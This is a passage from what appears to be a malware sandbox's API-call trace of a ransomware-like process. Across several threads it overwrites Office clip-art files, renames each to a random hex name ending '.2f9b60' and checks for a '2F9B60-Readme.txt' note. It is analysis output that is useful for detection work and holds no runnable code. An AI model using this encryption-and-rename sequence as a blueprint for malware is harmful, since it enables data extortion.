_Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="ec") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="41") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="96") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="52") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="78") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="94") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="ec") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="31") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="3b") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="40") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="91") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="81") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="66") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="87") returned 2 [0115.551] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="27") returned 2 [0115.551] RtlInitAnsiString (in: DestinationString=0x3958fe08, SourceString="b446b7d9f8427ce672ec4196527894ec313b409181668727" | out: DestinationString="b446b7d9f8427ce672ec4196527894ec313b409181668727") [0115.551] RtlAnsiStringToUnicodeString (in: DestinationString=0x3958fdd8, SourceString="b446b7d9f8427ce672ec4196527894ec313b409181668727", AllocateDestinationString=1 | out: DestinationString="b446b7d9f8427ce672ec4196527894ec313b409181668727") returned 0x0 [0115.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced97f0 [0115.552] wcscat (in: _Dest=0x1b7adac0, _Source="b446b7d9f842" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b446b7d9f842") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b446b7d9f842" [0115.552] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b446b7d9f842.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b446b7d9f842.2f9b60" [0115.552] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b446b7d9f842.2f9b60", NtPathName=0x3958fdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\b446b7d9f842.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.552] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3958fe50, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.553] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x3958fe18, FileInformation=0x3958fe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3958fe18, FileInformation=0x3958fe28) returned 0x0 [0115.553] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3958fe18, FileInformation=0x3958fe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced97f0) returned 1 [0115.555] FlushFileBuffers (hFile=0x149c) returned 1 [0115.565] CloseHandle (hObject=0x149c) returned 1 [0115.567] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ace0 [0115.567] wcscpy (in: _Dest=0x1b86ace0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.567] wcscat (in: _Dest=0x1b86ace0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ace0) returned 1 [0115.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ad70) returned 1 Thread: id = 1243 os_tid = 0xe18 [0115.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf")) returned 0x20 [0115.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF", dwFileAttributes=0x20) returned 1 [0115.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233018.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233018.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0115.429] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x394cfcc0 | out: lpFileSize=0x394cfcc0*=30704) returned 1 [0115.429] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x77ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.429] ReadFile (in: hFile=0x14c0, lpBuffer=0x394cfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x394cfc88, lpOverlapped=0x0 | out: lpBuffer=0x394cfc40*, lpNumberOfBytesRead=0x394cfc88*=0x4, lpOverlapped=0x0) returned 1 [0115.511] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0115.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bc0 [0115.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261160 [0115.511] NtQuerySystemTime (in: CurrentTime=0x394cfb80 | out: CurrentTime=0x394cfb80*=132462177209698000) returned 0x0 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x31268678 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x28dc9126 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x54f620ce [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x5c8f3bd3 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x7dba6431 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0xe1a69f2 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x4abcbf4b [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x5fb9fc03 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x5c5e0dea [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x60bbe541 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x116499ff [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x5ade6836 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x28021729 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x6e2a52ff [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x582c3346 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x34c23458 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x226d7b5a [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x499d9572 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x467f5d33 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x7b704547 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x28e4f440 [0115.511] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x5f026800 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x7a55fb85 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x60d9b840 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0xb9b56d0 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x24a41536 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x49efbce4 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x510f95aa [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x4bcce338 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x57213cbf [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x385a4a98 [0115.512] RtlRandomEx (in: Seed=0x394cfb70 | out: Seed=0x394cfb70) returned 0x76301109 [0115.523] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.523] ReadFile (in: hFile=0x14c0, lpBuffer=0x20179560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x394cfbe0, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x394cfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0115.527] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0115.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0115.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0115.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202635f0) returned 1 [0115.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20162d00 [0115.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202635f0 [0115.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0115.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0115.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868840) returned 1 [0115.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0115.528] WriteFile (in: hFile=0x14c0, lpBuffer=0x20162d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x394cfbe0, lpOverlapped=0x0 | out: lpBuffer=0x20162d00*, lpNumberOfBytesWritten=0x394cfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0115.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20162d00) returned 1 [0115.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0115.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9520 [0115.545] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.545] WriteFile (in: hFile=0x14c0, lpBuffer=0x167ca0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x394cfc90, lpOverlapped=0x0 | out: lpBuffer=0x167ca0*, lpNumberOfBytesWritten=0x394cfc90*=0x10a, lpOverlapped=0x0) returned 1 [0115.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0115.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8687c0 [0115.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0115.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0115.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262d20 [0115.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262d20) returned 1 [0115.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0115.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0115.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.557] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="dd") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="f2") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="33") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="04") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="ba") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="21") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="cb") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="ac") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="b7") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="69") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="dc") returned 2 [0115.557] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="40") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="c6") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="9d") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="fa") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="c7") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="df") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="76") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="89") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="51") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="12") returned 2 [0115.558] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="fc") returned 2 [0115.558] RtlInitAnsiString (in: DestinationString=0x394cfd08, SourceString="ddf2e03304ba21cbacb769e0dc40c69dfac7df76895112fc" | out: DestinationString="ddf2e03304ba21cbacb769e0dc40c69dfac7df76895112fc") [0115.558] RtlAnsiStringToUnicodeString (in: DestinationString=0x394cfcd8, SourceString="ddf2e03304ba21cbacb769e0dc40c69dfac7df76895112fc", AllocateDestinationString=1 | out: DestinationString="ddf2e03304ba21cbacb769e0dc40c69dfac7df76895112fc") returned 0x0 [0115.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9860 [0115.558] wcscat (in: _Dest=0x1b7adac0, _Source="ddf2e03304ba" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ddf2e03304ba") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ddf2e03304ba" [0115.558] wcscat (in: _Dest=0x1b7adac0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ddf2e03304ba.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ddf2e03304ba.2f9b60" [0115.558] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ddf2e03304ba.2f9b60", NtPathName=0x394cfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ddf2e03304ba.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bd70 [0115.558] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x394cfd50, FileInformation=0x2050bd70, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bd70) returned 1 [0115.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0115.560] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x394cfd18, FileInformation=0x394cfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x394cfd18, FileInformation=0x394cfd28) returned 0x0 [0115.560] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x394cfd18, FileInformation=0x394cfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 [0115.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9860) returned 1 [0115.561] FlushFileBuffers (hFile=0x14c0) returned 1 [0115.569] CloseHandle (hObject=0x14c0) returned 1 [0115.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86ad70 [0115.581] wcscpy (in: _Dest=0x1b86ad70, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.581] wcscat (in: _Dest=0x1b86ad70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ad70) returned 1 [0115.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ae00) returned 1 Thread: id = 1244 os_tid = 0xe1c [0115.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf")) returned 0x20 [0115.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF", dwFileAttributes=0x20) returned 1 [0115.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0233070.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0233070.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd7c [0115.438] GetFileSizeEx (in: hFile=0xd7c, lpFileSize=0x390efb60 | out: lpFileSize=0x390efb60*=5410) returned 1 [0115.438] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x151e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.438] ReadFile (in: hFile=0xd7c, lpBuffer=0x390efae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x390efb28, lpOverlapped=0x0 | out: lpBuffer=0x390efae0*, lpNumberOfBytesRead=0x390efb28*=0x4, lpOverlapped=0x0) returned 1 [0115.461] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9670 [0115.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0115.461] NtQuerySystemTime (in: CurrentTime=0x390efa20 | out: CurrentTime=0x390efa20*=132462177209230000) returned 0x0 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x200e27db [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x3e2e5225 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x5ed78f40 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x3367e3e1 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x3537c147 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x5869c109 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x3cbd3183 [0115.461] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x70c05212 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x5027d6e2 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x1f6d6e1a [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0xfa501e [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x309ecd11 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x608955ba [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x4d24b7b1 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x27a752b6 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x4e458033 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x7ff217fa [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x77495558 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x8fb8dfb [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x507e341f [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x4a4e41eb [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x615a4280 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x5942cfc7 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x2ed2573e [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x5fea4cf [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x6ee52b42 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x6407ce80 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x6924c0f [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x10c2e4ea [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x1c4c3dc7 [0115.462] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x4788876 [0115.463] RtlRandomEx (in: Seed=0x390efa10 | out: Seed=0x390efa10) returned 0x219299a7 [0115.475] ReadFile (in: hFile=0xd7c, lpBuffer=0x20171d40, nNumberOfBytesToRead=0x1522, lpNumberOfBytesRead=0x390efa10, lpOverlapped=0x0 | out: lpBuffer=0x20171d40*, lpNumberOfBytesRead=0x390efa10*=0x1522, lpOverlapped=0x0) returned 1 [0115.524] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.524] WriteFile (in: hFile=0xd7c, lpBuffer=0x201578d0*, nNumberOfBytesToWrite=0x1522, lpNumberOfBytesWritten=0x390efa14, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesWritten=0x390efa14*=0x1522, lpOverlapped=0x0) returned 1 [0115.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0115.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0115.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0115.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20171d40) returned 1 [0115.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 [0115.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0115.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202608f0 [0115.625] SetFilePointerEx (in: hFile=0xd7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.625] WriteFile (in: hFile=0xd7c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x390efb30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x390efb30*=0x10a, lpOverlapped=0x0) returned 1 [0115.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0115.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8688c0 [0115.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0115.626] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 